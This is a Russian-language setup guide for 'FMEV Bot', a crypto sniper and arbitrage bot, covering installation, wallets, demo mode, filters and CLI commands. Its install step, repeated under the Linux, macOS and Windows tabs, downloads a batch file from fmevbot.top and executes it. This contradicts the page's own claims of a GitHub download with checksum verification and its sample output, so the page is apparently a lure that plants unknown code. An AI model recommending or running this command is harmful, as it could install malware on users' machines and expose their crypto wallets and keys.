Документация · v2.4.1

От установки до первой сделки

Установка занимает около 5 минут. Дальше — пошаговая настройка: нода, кошелёк, демо-режим, снайпер и арбитраж. Каждый шаг с картинками.

Linux · macOS · Windows Docker MIT · open source
// 01 · INSTALL

Установка

Бот распространяется как один бинарный файл. Установочный скрипт сам определит вашу платформу, скачает релиз с GitHub, проверит контрольную сумму и добавит fmev в PATH.

ОСUbuntu 20.04+, macOS 12+, Windows 10+
Железо2 vCPU · 4 GB RAM
Диск500 MB свободно
СетьRPC-нода ETH и/или SOL
bash
$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"
bash
$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"
$ less install.sh
$ bash install.sh

Откройте Командную строку (Win+R → cmd) и выполните:

cmd
$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"
bash
$ docker pull ghcr.io/fmev-labs/fmev-bot:latest
$ docker run -d --name fmev --restart unless-stopped \
    -p 127.0.0.1:7777:7777 \
    -v ~/.fmev:/root/.fmev \
    ghcr.io/fmev-labs/fmev-bot:latest
Панель слушает только 127.0.0.1. Не открывайте порт 7777 наружу — используйте SSH-туннель: ssh -L 7777:localhost:7777 user@server.
bash
# нужен Rust 1.80+ (https://rustup.rs)
$ git clone https://github.com/fmev-labs/fmev-bot.git
$ cd fmev-bot
$ cargo build --release
$ sudo cp target/release/fmev /usr/local/bin/

Что вы увидите

terminal
curl -fsSL https://raw.githubusercontent.com/fmev-labs/fmev-bot/main/install.sh | bash
==> Определяю платформу... linux-x86_64
==> Последний релиз: v2.4.1 (github.com/fmev-labs/fmev-bot/releases)
==> Скачиваю fmev-v2.4.1-linux-x86_64.tar.gz
[                              ]   0%
==> Проверяю SHA256... OK
==> Устанавливаю в ~/.fmev/bin
==> Добавляю в PATH (~/.bashrc)
✓ FMEV Bot v2.4.1 установлен. Дальше: fmev init

Проверьте установку:

bash
$ fmev --version
fmev 2.4.1 (build 8f3c2a1, rustc 1.81.0)
// 02 · INIT

Первый запуск

Мастер настройки создаст папку ~/.fmev, конфиг и зашифрованное хранилище ключей. На все вопросы можно отвечать Enter — значения по умолчанию безопасные.

bash
$ fmev init
? Какие сети использовать?          › Ethereum, Solana
? Режим по умолчанию                 › demo (рекомендуется)
? Порт веб-панели                    › 7777
? Пароль для хранилища ключей        › ••••••••••••
✓ Конфиг создан: ~/.fmev/config.toml
✓ Хранилище ключей: ~/.fmev/keystore (AES-256-GCM)
$ fmev ui
▸ Панель запущена: http://localhost:7777
Команда fmev ui сама откроет браузер. На сервере без экрана используйте fmev ui --headless и SSH-туннель.
// 03 · RPC

Подключение ноды

Скорость бота напрямую зависит от RPC. Публичные эндпоинты подойдут для демо, но для live лучше платная нода или своя.

localhost:7777 / rpcМАКЕТ
◉ Дашборд
🎯 Sniper
⚖️ Арбитраж
👛 Кошельки
📡 RPC / ноды
⚙️ Настройки
Подключённые ноды
+ Добавить ноду1
СетьЭндпоинтЗадержка4Статус
ETHeth-mainnet.example…18msonline
SOLsolana-mainnet.exa…27msonline
SOLapi.mainnet-beta.s…212msslow

Новая нода

Ethereum mainnet ▾
wss://eth-mainnet.example.com/v2/•••••
2
⚡ Проверить соединение3Сохранить

Раздел «RPC / ноды». Данные вымышленные.

  1. 1
    Нажмите «+ Добавить ноду» в правом верхнем углу.
  2. 2
    Вставьте WebSocket-адрес ноды (начинается с wss://). HTTP тоже подойдёт, но события будут приходить медленнее.
  3. 3
    Нажмите «Проверить соединение» — бот сделает тестовый запрос и измерит задержку. Затем «Сохранить».
  4. 4
    Следите за колонкой «Задержка»: зелёный — до 50 ms, жёлтый — медленная нода. Бот автоматически переключается на самую быструю.
// 04 · WALLET

Кошелёк

Для демо-режима кошелёк не нужен — можно пропустить этот шаг. Для live создайте отдельный кошелёк только под бота.

localhost:7777 / walletsМАКЕТ
◉ Дашборд
🎯 Sniper
⚖️ Арбитраж
👛 Кошельки
📡 RPC / ноды
⚙️ Настройки
Добавить кошелёк
Создать новыйИмпорт1
Solana ▾
sniper-hot-01
7xKX…9fQm ⧉
2
Шифровать паролем хранилища3
Лимит на сделку: 1 SOL
Экспорт резервной копииСоздать кошелёк4

Раздел «Кошельки». Адрес вымышленный.

  1. 1
    Выберите «Создать новый». Импорт существующего кошелька возможен, но не рекомендуется.
  2. 2
    Скопируйте адрес и пополните его небольшой суммой — только тем, что готовы задействовать в торговле.
  3. 3
    Оставьте галочку «Шифровать» — ключ хранится только на вашем диске в зашифрованном виде.
  4. 4
    Нажмите «Создать кошелёк» и сразу сохраните резервную копию в надёжном месте.
Никогда не используйте основной кошелёк с накоплениями. Команда FMEV никогда не спросит ваш seed или приватный ключ и не попросит перевести средства на «контракт активации».
// 05 · DEMO MODE

Демо-режим

Бот получает настоящие блоки и транзакции, но сделки исполняет виртуально — с учётом газа, чаевых и проскальзывания. Начните здесь и переходите в live, когда статистика вас устроит.

localhost:7777 / dashboardМАКЕТ
DEMOLIVE1 Вирт. баланс: 10.00 SOL · 3.00 ETH ✎2 📊 Отчёт за сессию3
● ДЕМО-РЕЖИМ — реальные данные сети, виртуальные деньги. Ни одна транзакция не отправляется в блокчейн.
Вирт. PnL+0.84 SOL
Сделок37
Win rate64.9%
Упущено (outbid)12
  1. 1
    Переключатель DEMO / LIVE. После fmev init по умолчанию включён DEMO.
  2. 2
    Нажмите ✎, чтобы задать виртуальный баланс, близкий к будущему реальному.
  3. 3
    «Отчёт за сессию» — сделки, упущенные возможности и расходы на газ.
Показатель «Упущено (outbid)» — сколько раз другой бот оказался быстрее. Если он высокий, начните с ноды получше, а не с увеличения суммы.
// 06 · SNIPER

Настройка снайпера

Снайпер покупает новый токен в момент появления ликвидности. Главное здесь — фильтры: они отсеивают honeypot'ы и скам-контракты до покупки.

localhost:7777 / sniperМАКЕТ
◉ Дашборд
🎯 Sniper
⚖️ Арбитраж
👛 Кошельки
📡 RPC / ноды
⚙️ Настройки
Sniper · Solana
Включён 1
0.8 SOL
2
15%
3

Фильтры безопасности

Проверка honeypot
Mint / Freeze authority отозваны
LP сожжены или залочены
Доля топ-10 холдеров ≤ 30%
4

Выход из позиции

TP1 +80% → продать 50%
Трейлинг-стоп 25%
Стоп-лосс −35%

Раздел «Sniper». Значения — рекомендуемый пресет «Баланс».

  1. 1
    Включите тумблер «Включён» для нужной сети.
  2. 2
    Задайте сумму на сделку. Правило: не больше 2–5% от баланса бота на один токен.
  3. 3
    Оставьте все фильтры безопасности включёнными. Каждый выключенный фильтр заметно увеличивает шанс купить скам.
  4. 4
    Настройте выход: частичный тейк-профит + трейлинг-стоп + жёсткий стоп-лосс.

То же самое в config.toml

Все настройки панели дублируются в файле ~/.fmev/config.toml — удобно для VPS и бэкапов.

~/.fmev/config.toml
[sniper]
enabled = true
chains = ["solana"]
amount_per_trade = 0.8       # SOL
max_slippage = 15            # %
min_liquidity_usd = 15000
tip = "auto"                 # Jito tip

[sniper.filters]
honeypot_check = true
mint_revoked = true
freeze_revoked = true
lp_burned = true
max_top10_share = 30

[sniper.exit]
take_profit = [{ at = 80, sell = 50 }, { at = 200, sell = 50 }]
trailing_stop = 25
stop_loss = 35
// 07 · ARBITRAGE

Настройка арбитража

Арбитраж ищет замкнутые маршруты между DEX, где на выходе больше, чем на входе, с учётом всех комиссий. Настраивается за минуту.

localhost:7777 / arbitrageМАКЕТ
◉ Дашборд
🎯 Sniper
⚖️ Арбитраж
👛 Кошельки
📡 RPC / ноды
⚙️ Настройки
Арбитраж
ETH + SOLETHSOL
1

Биржи (DEX) 5 из 8

Uniswap V3
SushiSwap
Curve
Raydium
Orca
Meteora
Phoenix
Balancer
2

Мин. чистая прибыль $5.00

3

Макс. длина маршрута

23
СброситьПрименить4

Раздел «Арбитраж».

  1. 1
    Отметьте галочками биржи. Больше бирж — больше маршрутов, но и больше нагрузка на ноду.
  2. 2
    Задайте минимальную чистую прибыль. Для Ethereum ставьте выше ($5+) из-за газа, для Solana хватит $0.5.
  3. 3
    Выберите длину маршрута: 3 ноги находят больше возможностей, 2 — быстрее считаются.
  4. 4
    Нажмите «Применить» — настройки подхватятся без перезапуска бота.
// 08 · LAUNCH

Запуск и уведомления

Всё настроено — осталось нажать одну кнопку. Бот начнёт сканировать сети, а о каждой сделке сообщит в Telegram.

localhost:7777 / dashboardМАКЕТ
Статус: ● Остановлен● Работает · 00:00:12
▶ Запустить бота■ Остановить
✓ Подключено: ETH (18ms), SOL (27ms)
✓ Sniper: слушаю Raydium, Pump.fun
✓ Arbitrage: граф 4 812 пулов загружен
▸ ARB SOL→BONK→USDC→SOL · +$17.44

Анимированный макет запуска.

F
FMEV Botбот
🟢 Бот запущен
Режим: DEMO · Сети: ETH, SOL
⚖️ ARB · Solana
SOL→BONK→USDC→SOL
Прибыль: +$17.44 · tip $0.35
🎯 SNIPE · Solana
Куплено $MEOW · 0.8 SOL
Фильтры: 5/5 ✓
💰 TP1 сработал · $MEOW
Продано 50% · +82%

Уведомления в Telegram (вымышленные).

Подключить Telegram

bash
$ fmev notify telegram --token <BOT_TOKEN> --chat <CHAT_ID>
✓ Тестовое сообщение отправлено

Или то же без браузера — запуск прямо из терминала:

bash
$ fmev start --strategy arb,sniper --mode demo
$ fmev status
// 09 · CLI

Шпаргалка по командам

КомандаЧто делает
fmev initМастер первоначальной настройки
fmev uiЗапускает веб-панель на localhost:7777
fmev startЗапускает стратегии из конфига. Флаги: --mode demo|live, --strategy arb,sniper
fmev stopОстанавливает бота; открытые позиции остаются под управлением стоп-лоссов
fmev statusСостояние, аптайм, PnL сессии
fmev logs -fЛог в реальном времени
fmev rpc testПроверяет все ноды и показывает задержку
fmev wallet listСписок кошельков и балансы
fmev report --days 7Отчёт по сделкам и расходам за период
fmev updateОбновление до последнего релиза с GitHub
// 10 · TROUBLESHOOTING

Решение проблем

fmev: command not found после установки

Перезапустите терминал или выполните source ~/.bashrc (для zsh — ~/.zshrc). Бинарник лежит в ~/.fmev/bin.

Много «outbid» — другие боты быстрее

Смените RPC на ближайший к вам регион или свою ноду, включите приватную отправку (Flashbots / Jito) и проверьте задержку командой fmev rpc test.

Снайпер ничего не покупает

Скорее всего, фильтры отсекают все токены — это нормально в спокойные часы. Посмотрите причину отказа в fmev logs -f | grep FILTER. Не отключайте фильтры безопасности ради количества сделок.

Арбитраж находит маршруты, но «skip»

Чистая прибыль после газа ниже порога. Для Ethereum это частая ситуация днём при высоком газе — попробуйте Solana или снизьте порог.

Как обновиться?

fmev update скачает последний релиз с GitHub и проверит подпись. Конфиг и ключи не затрагиваются.